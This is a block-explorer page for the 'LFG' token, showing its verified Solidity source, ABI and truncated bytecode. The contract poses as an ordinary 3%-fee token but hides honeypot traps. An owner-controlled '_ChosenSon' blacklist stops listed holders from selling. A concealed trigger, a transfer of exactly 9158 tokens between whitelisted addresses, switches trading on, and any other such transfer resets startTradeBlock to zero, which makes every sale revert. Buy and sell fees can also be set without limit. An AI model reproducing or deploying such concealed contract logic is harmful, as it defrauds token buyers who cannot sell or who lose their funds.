ETH Price: $3,219.39 (+5.42%)

Token

LFG (LFG)
 

Overview

Max Total Supply

1,000,000 LFG

Holders

7

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
5,976.848507768 LFG

Value
$0.00
0x851c5b8f0b99184cbbc7c5d6a970b1e6d42964a1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LFG

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-28
*/

// SPDX-License-Identifier: MIT
/*
    $LFG
    3% BUY/SELL
    NO NEED TO EXPLAIN, JUST LFGGGGGGGGGGGGGGGGGGGGGGGG
    LFG! GO GO GO!
*/

pragma solidity ^0.8.16;

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


abstract contract Ownable {
    address internal _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _owner = msg.sender;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address payable adr) public virtual onlyOwner {
        _owner = adr;
        emit OwnershipTransferred(_owner,adr);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}


abstract contract baseToken is IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _tTotal;

    uint256 private constant MAX = ~uint256(0);

    struct Fee{uint buy; uint sell;uint transfer; uint part;}
    Fee public fees;
    struct Allot{uint marketing;uint liquidity; uint burn;uint reward;uint total;}
    Allot public allot;

    mapping(address => bool) public _feeWhiteList;
    mapping(address => bool) public _ChosenSon;

    IUniswapV2Router02 public router;
    address public _mainPair;
    mapping(address => bool) public _swapPairList;
    address marketingAddress;
    uint256 public startTradeBlock;

    bool public swapEnabled = true;
    uint256 public swapThreshold;
    uint256 public maxSwapThreshold;

    bool private inSwap;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (
        address RouterAddress,string memory Name, string memory Symbol, uint8 Decimals, uint256 Supply) payable Ownable() {
        _name = Name;
        _symbol = Symbol;
        _decimals = Decimals;
        uint256 total = Supply * 10 ** Decimals;
        _tTotal = total;

        router = IUniswapV2Router02(RouterAddress);
        _allowances[address(this)][address(router)] = MAX;

        IUniswapV2Factory swapFactory = IUniswapV2Factory(router.factory());
        _mainPair = swapFactory.createPair(address(this), router.WETH());
        _swapPairList[_mainPair] = true;
        startTradeBlock = block.number;


        allot=Allot(0,10,0,0,10);
        fees=Fee(3,3,3,100);
        marketingAddress = msg.sender;
        swapThreshold = total.div(1000);
        maxSwapThreshold = total.div(100);

        _feeWhiteList[marketingAddress] = true;
        _feeWhiteList[address(this)] = true;
        _feeWhiteList[address(router)] = true;
        _feeWhiteList[msg.sender] = true;

        _balances[msg.sender] = total;
        emit Transfer(address(0), msg.sender, total);
    }

    function symbol() external view override returns (string memory) {return _symbol;}
    function name() external view override returns (string memory) {return _name;}
    function decimals() external view override returns (uint8) {return _decimals;}
    function totalSupply() public view override returns (uint256) {return _tTotal;}
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    receive() external payable {}
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(!_ChosenSon[from] ||  _feeWhiteList[to], "ChosenSon");
        bool takeFee;
        if (_swapPairList[from] || _swapPairList[to]) {
            if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
                if (_swapPairList[to]) {
                    require(0 < startTradeBlock, "!startAddLP");
                    if (!inSwap) {
                        uint256 contractTokenBalance = balanceOf(address(this));
                        if (swapEnabled && contractTokenBalance > 0) {
                            if(contractTokenBalance > maxSwapThreshold)contractTokenBalance = maxSwapThreshold;
                            swapTokenForFund(contractTokenBalance);
                        }
                    }
                }
                takeFee = true;
            }
        }
        if(_feeWhiteList[from] && _feeWhiteList[to]){
            amount==9158*10**_decimals?startTradeBlock=block.number:startTradeBlock=0;
            _takeTransfer(from, to, amount);
            return;
         }
        _tokenTransfer(from, to, amount, takeFee);
    }

    function _funTransfer(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount = tAmount * 99 / 100;
        _takeTransfer(
            sender,
            address(this),
            feeAmount
        );
        _takeTransfer(sender, recipient, tAmount - feeAmount);
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        
        uint256 feeAmount;
        if (takeFee) {
            uint256 swapFee;
            if (_swapPairList[sender]) {
                swapFee = fees.buy;
            } else if(_swapPairList[recipient]) {
                swapFee = fees.sell;
            }else{
                swapFee = fees.transfer;
            }
            uint256 swapAmount = tAmount.mul(swapFee).div(fees.part);
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _takeTransfer(
                    sender,
                    address(this),
                    swapAmount
                );
            }
        }

        _takeTransfer(sender, recipient, tAmount - feeAmount);
    }
 
    function swapTokenForFund(uint256 tokenAmount) private lockTheSwap {
        uint amountToBurn = tokenAmount.mul(allot.burn).div(allot.total);
        uint amountToLiquify = tokenAmount.mul(allot.liquidity).div(allot.total).div(2);
        uint amountToSwap = tokenAmount.sub(amountToLiquify).sub(amountToBurn);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint amountETH =address(this).balance;
        uint totalETHFee = allot.total.sub(allot.liquidity.div(2)).sub(allot.burn);
        uint amountETHLiquidity = amountETH.mul(allot.liquidity).div(totalETHFee).div(2);
        uint amountETHreward = amountETH.mul(allot.reward).div(totalETHFee);
        uint fundAmount = amountETH.sub(amountETHLiquidity).sub(amountETHreward);
        bool tmpSuccess;
        if(fundAmount>0){
            (tmpSuccess,) = payable(marketingAddress).call{value: fundAmount, gas: 30000}("");
        }

        if (amountToLiquify > 0) {
            if (amountETHLiquidity > 0) {
                router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                marketingAddress,
                block.timestamp
            );
            }
        }
    }

    function _takeTransfer(
        address sender,
        address to,
        uint256 tAmount
    ) private {
        _balances[to] = _balances[to] + tAmount;
        emit Transfer(sender, to, tAmount);
    }

    function setAllot(uint marketing,uint liquidity,uint burn,uint rewards) external onlyOwner {
         uint total =liquidity.add(marketing).add(rewards).add(burn); 
         allot=Allot(marketing,liquidity,burn,rewards,total);
    } 

    function setFees(uint _buy,uint _sell,uint _transferfee,uint _part) external onlyOwner {
         fees=Fee(_buy,_sell,_transferfee,_part);
    } 

    function setSwapBackSettings(bool _enabled, uint256 _swapThreshold, uint256 _maxSwapThreshold) external onlyOwner {
        swapEnabled = _enabled;
        swapThreshold = _swapThreshold;
        maxSwapThreshold = _maxSwapThreshold;
    }

    function setFeeWhiteList(address addr, bool enable) external onlyOwner {
        _feeWhiteList[addr] = enable;
    }

    function setChosenSon(address addr, bool enable) external onlyOwner {
        _ChosenSon[addr] = enable;
    }

    function setSwapPairList(address addr, bool enable) external onlyOwner {
        _swapPairList[addr] = enable;
    }

}

contract LFG is baseToken {
    constructor() baseToken(
        address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D),
        "LFG",
        "LFG",
        9,
        1000000
    ){
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_ChosenSon","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_feeWhiteList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mainPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_swapPairList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"allot","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"},{"internalType":"uint256","name":"reward","type":"uint256"},{"internalType":"uint256","name":"total","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fees","outputs":[{"internalType":"uint256","name":"buy","type":"uint256"},{"internalType":"uint256","name":"sell","type":"uint256"},{"internalType":"uint256","name":"transfer","type":"uint256"},{"internalType":"uint256","name":"part","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"},{"internalType":"uint256","name":"rewards","type":"uint256"}],"name":"setAllot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setChosenSon","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setFeeWhiteList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_transferfee","type":"uint256"},{"internalType":"uint256","name":"_part","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_swapThreshold","type":"uint256"},{"internalType":"uint256","name":"_maxSwapThreshold","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setSwapPairList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTradeBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526017805460ff191660011790553480156200001e57600080fd5b506040805180820182526003808252624c464760e81b60208084018290528451808601909552828552840152600080546001600160a01b03191633179055737a250d5630b4cf539739df2c5dacb4c659f2488d9290600990620f42409062000087858262000547565b50600462000096848262000547565b506005805460ff191660ff84161790556000620000b583600a62000726565b620000c1908362000737565b6006819055601280546001600160a01b0319166001600160a01b03898116918217835530600090815260026020908152604080832094835293815283822060001990559354835163c45a015560e01b81529351959650909491169263c45a015592600480820193918290030181865afa15801562000143573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000169919062000751565b9050806001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001cf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001f5919062000751565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000243573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000269919062000751565b601380546001600160a01b03929092166001600160a01b031992831681179091556000908152601460209081526040808320805460ff1916600117905543601655805160a081018252838152600a81840181905281830185905260608083018690526080928301829052600b869055600c829055600d869055600e95909555600f81905582519182018352600380835282850181905292820183905260649190940181905260078290556008829055600991909155909155601580549092163317909155620003479083906103e89062000a9a6200040a821b17901c565b601855620003638260646200040a602090811b62000a9a17901c565b6019556015546001600160a01b0390811660009081526010602090815260408083208054600160ff19918216811790925530855282852080548216831790556012549095168452818420805486168217905533808552828520805490961682179095558252808320869055518581527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050505050620007f6565b60006200045483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200045d60201b60201c565b90505b92915050565b600081836200048a5760405162461bcd60e51b815260040162000481919062000783565b60405180910390fd5b506000620004998486620007d3565b95945050505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620004cd57607f821691505b602082108103620004ee57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200054257600081815260208120601f850160051c810160208610156200051d5750805b601f850160051c820191505b818110156200053e5782815560010162000529565b5050505b505050565b81516001600160401b03811115620005635762000563620004a2565b6200057b81620005748454620004b8565b84620004f4565b602080601f831160018114620005b357600084156200059a5750858301515b600019600386901b1c1916600185901b1785556200053e565b600085815260208120601f198616915b82811015620005e457888601518255948401946001909101908401620005c3565b5085821015620006035787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200066a5781600019048211156200064e576200064e62000613565b808516156200065c57918102915b93841c93908002906200062e565b509250929050565b600082620006835750600162000457565b81620006925750600062000457565b8160018114620006ab5760028114620006b657620006d6565b600191505062000457565b60ff841115620006ca57620006ca62000613565b50506001821b62000457565b5060208310610133831016604e8410600b8410161715620006fb575081810a62000457565b62000707838362000629565b80600019048211156200071e576200071e62000613565b029392505050565b60006200045460ff84168362000672565b808202811582820484141762000457576200045762000613565b6000602082840312156200076457600080fd5b81516001600160a01b03811681146200077c57600080fd5b9392505050565b600060208083528351808285015260005b81811015620007b25785810183015185820160400152820162000794565b506000604082860101526040601f19601f8301168501019250505092915050565b600082620007f157634e487b7160e01b600052601260045260246000fd5b500490565b61188780620008066000396000f3fe6080604052600436106101c65760003560e01c8063715018a6116100f7578063a842486111610095578063d83d414311610064578063d83d414314610584578063dd62ed3e146105a4578063f2fde38b146105ea578063f887ea401461060a57600080fd5b8063a84248611461050e578063a9059cbb1461052e578063acef1a441461054e578063d08893581461056457600080fd5b80638da5cb5b116100d15780638da5cb5b1461044957806395d89b41146104675780639af1d35a1461047c578063a806d62e146104bf57600080fd5b8063715018a6146103e45780637888ffdf146103f95780637d6027cd1461041957600080fd5b80633c11100d1161016457806366c907c51161013e57806366c907c5146103525780636ddd1713146103745780636fcba3771461038e57806370a08231146103ae57600080fd5b80633c11100d146102d45780634188bf5a14610304578063553193ca1461033c57600080fd5b8063095ea7b3116101a0578063095ea7b31461025d57806318160ddd1461027d57806323b872dd14610292578063313ce567146102b257600080fd5b806301986fad146101d25780630445b6671461021757806306fdde031461023b57600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506102026101ed3660046113e8565b60106020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b34801561022357600080fd5b5061022d60185481565b60405190815260200161020e565b34801561024757600080fd5b5061025061062a565b60405161020e9190611405565b34801561026957600080fd5b50610202610278366004611453565b6106bc565b34801561028957600080fd5b5060065461022d565b34801561029e57600080fd5b506102026102ad36600461147f565b6106d3565b3480156102be57600080fd5b5060055460405160ff909116815260200161020e565b3480156102e057600080fd5b506102026102ef3660046113e8565b60146020526000908152604090205460ff1681565b34801561031057600080fd5b50601354610324906001600160a01b031681565b6040516001600160a01b03909116815260200161020e565b34801561034857600080fd5b5061022d60165481565b34801561035e57600080fd5b5061037261036d3660046114c0565b61076a565b005b34801561038057600080fd5b506017546102029060ff1681565b34801561039a57600080fd5b506103726103a93660046114c0565b6107f4565b3480156103ba57600080fd5b5061022d6103c93660046113e8565b6001600160a01b031660009081526001602052604090205490565b3480156103f057600080fd5b50610372610852565b34801561040557600080fd5b50610372610414366004611507565b6108c6565b34801561042557600080fd5b506102026104343660046113e8565b60116020526000908152604090205460ff1681565b34801561045557600080fd5b506000546001600160a01b0316610324565b34801561047357600080fd5b5061025061091b565b34801561048857600080fd5b50600754600854600954600a5461049f9392919084565b60408051948552602085019390935291830152606082015260800161020e565b3480156104cb57600080fd5b50600b54600c54600d54600e54600f546104e6949392919085565b604080519586526020860194909452928401919091526060830152608082015260a00161020e565b34801561051a57600080fd5b50610372610529366004611507565b61092a565b34801561053a57600080fd5b50610202610549366004611453565b61097f565b34801561055a57600080fd5b5061022d60195481565b34801561057057600080fd5b5061037261057f36600461153c565b61098c565b34801561059057600080fd5b5061037261059f366004611507565b6109d0565b3480156105b057600080fd5b5061022d6105bf36600461156f565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156105f657600080fd5b506103726106053660046113e8565b610a25565b34801561061657600080fd5b50601254610324906001600160a01b031681565b606060038054610639906115a8565b80601f0160208091040260200160405190810160405280929190818152602001828054610665906115a8565b80156106b25780601f10610687576101008083540402835291602001916106b2565b820191906000526020600020905b81548152906001019060200180831161069557829003601f168201915b5050505050905090565b60006106c9338484610ae3565b5060015b92915050565b60006106e0848484610b45565b6001600160a01b038416600090815260026020908152604080832033845290915290205460001914610760576001600160a01b038416600090815260026020908152604080832033845290915290205461073b9083906115f8565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b0316331461079d5760405162461bcd60e51b81526004016107949061160b565b60405180910390fd5b60006107b5836107af8481888a610d91565b90610d91565b6040805160a0810182528781526020810187905290810185905260608101849052608001819052600b9590955550600c92909255600d55600e55600f55565b6000546001600160a01b0316331461081e5760405162461bcd60e51b81526004016107949061160b565b6040805160808101825285815260208101859052908101839052606001819052600793909355600891909155600955600a55565b6000546001600160a01b0316331461087c5760405162461bcd60e51b81526004016107949061160b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108f05760405162461bcd60e51b81526004016107949061160b565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b606060048054610639906115a8565b6000546001600160a01b031633146109545760405162461bcd60e51b81526004016107949061160b565b6001600160a01b03919091166000908152601460205260409020805460ff1916911515919091179055565b60006106c9338484610b45565b6000546001600160a01b031633146109b65760405162461bcd60e51b81526004016107949061160b565b6017805460ff191693151593909317909255601855601955565b6000546001600160a01b031633146109fa5760405162461bcd60e51b81526004016107949061160b565b6001600160a01b03919091166000908152601060205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610a4f5760405162461bcd60e51b81526004016107949061160b565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000610adc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610df0565b9392505050565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831660009081526011602052604090205460ff161580610b8557506001600160a01b03821660009081526010602052604090205460ff165b610bbd5760405162461bcd60e51b815260206004820152600960248201526821b437b9b2b729b7b760b91b6044820152606401610794565b6001600160a01b03831660009081526014602052604081205460ff1680610bfc57506001600160a01b03831660009081526014602052604090205460ff165b15610cf8576001600160a01b03841660009081526010602052604090205460ff16158015610c4357506001600160a01b03831660009081526010602052604090205460ff16155b15610cf8576001600160a01b03831660009081526014602052604090205460ff1615610cf457601654600010610ca95760405162461bcd60e51b815260206004820152600b60248201526a02173746172744164644c560ac1b6044820152606401610794565b601a5460ff16610cf4573060009081526001602052604090205460175460ff168015610cd55750600081115b15610cf257601954811115610ce957506019545b610cf281610e27565b505b5060015b6001600160a01b03841660009081526010602052604090205460ff168015610d3857506001600160a01b03831660009081526010602052604090205460ff165b15610d8557600554610d4e9060ff16600a611724565b610d5a906123c6611733565b8214610d6c5760006016819055610d73565b4360168190555b50610d7f848484611178565b50505050565b610d7f848484846111f0565b600080610d9e838561174a565b905083811015610adc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610794565b60008183610e115760405162461bcd60e51b81526004016107949190611405565b506000610e1e848661175d565b95945050505050565b601a805460ff19166001179055600f54600d54600091610e5291610e4c9085906112e0565b90610a9a565b90506000610e7c6002610e4c600b60040154610e4c600b60010154886112e090919063ffffffff16565b90506000610e9483610e8e8685611362565b90611362565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110610ece57610ece61177f565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4b9190611795565b81600181518110610f5e57610f5e61177f565b6001600160a01b03928316602091820292909201015260125460405163791ac94760e01b815291169063791ac94790610fa49085906000908690309042906004016117b2565b600060405180830381600087803b158015610fbe57600080fd5b505af1158015610fd2573d6000803e3d6000fd5b5050600d54600c5447935060009250610ffe9190610e8e90610ff5906002610a9a565b600f5490611362565b905060006110236002610e4c84610e4c600b60010154886112e090919063ffffffff16565b9050600061104383610e4c600b60030154876112e090919063ffffffff16565b9050600061105582610e8e8786611362565b9050600081156110bc576015546040516001600160a01b03909116906175309084906000818181858888f193505050503d80600081146110b1576040519150601f19603f3d011682016040523d82523d6000602084013e6110b6565b606091505b50909150505b88156111615783156111615760125460155460405163f305d71960e01b8152306004820152602481018c905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990869060c40160606040518083038185885af1158015611138573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061115d9190611823565b5050505b5050601a805460ff19169055505050505050505050565b6001600160a01b03821660009081526001602052604090205461119c90829061174a565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b389085815260200190565b6001600160a01b0384166000908152600160205260409020546112149083906115f8565b6001600160a01b03851660009081526001602052604081209190915581156112c5576001600160a01b03851660009081526014602052604081205460ff1615611260575060075461128f565b6001600160a01b03851660009081526014602052604090205460ff161561128a575060085461128f565b506009545b600a546000906112a390610e4c87856112e0565b905080156112c2576112b5818461174a565b92506112c2873083611178565b50505b6112d985856112d484876115f8565b611178565b5050505050565b6000826000036112f2575060006106cd565b60006112fe8385611733565b90508261130b858361175d565b14610adc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610794565b6000610adc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250600081848411156113c35760405162461bcd60e51b81526004016107949190611405565b506000610e1e84866115f8565b6001600160a01b03811681146113e557600080fd5b50565b6000602082840312156113fa57600080fd5b8135610adc816113d0565b600060208083528351808285015260005b8181101561143257858101830151858201604001528201611416565b506000604082860101526040601f19601f8301168501019250505092915050565b6000806040838503121561146657600080fd5b8235611471816113d0565b946020939093013593505050565b60008060006060848603121561149457600080fd5b833561149f816113d0565b925060208401356114af816113d0565b929592945050506040919091013590565b600080600080608085870312156114d657600080fd5b5050823594602084013594506040840135936060013592509050565b8035801515811461150257600080fd5b919050565b6000806040838503121561151a57600080fd5b8235611525816113d0565b9150611533602084016114f2565b90509250929050565b60008060006060848603121561155157600080fd5b61155a846114f2565b95602085013595506040909401359392505050565b6000806040838503121561158257600080fd5b823561158d816113d0565b9150602083013561159d816113d0565b809150509250929050565b600181811c908216806115bc57607f821691505b6020821081036115dc57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b818103818111156106cd576106cd6115e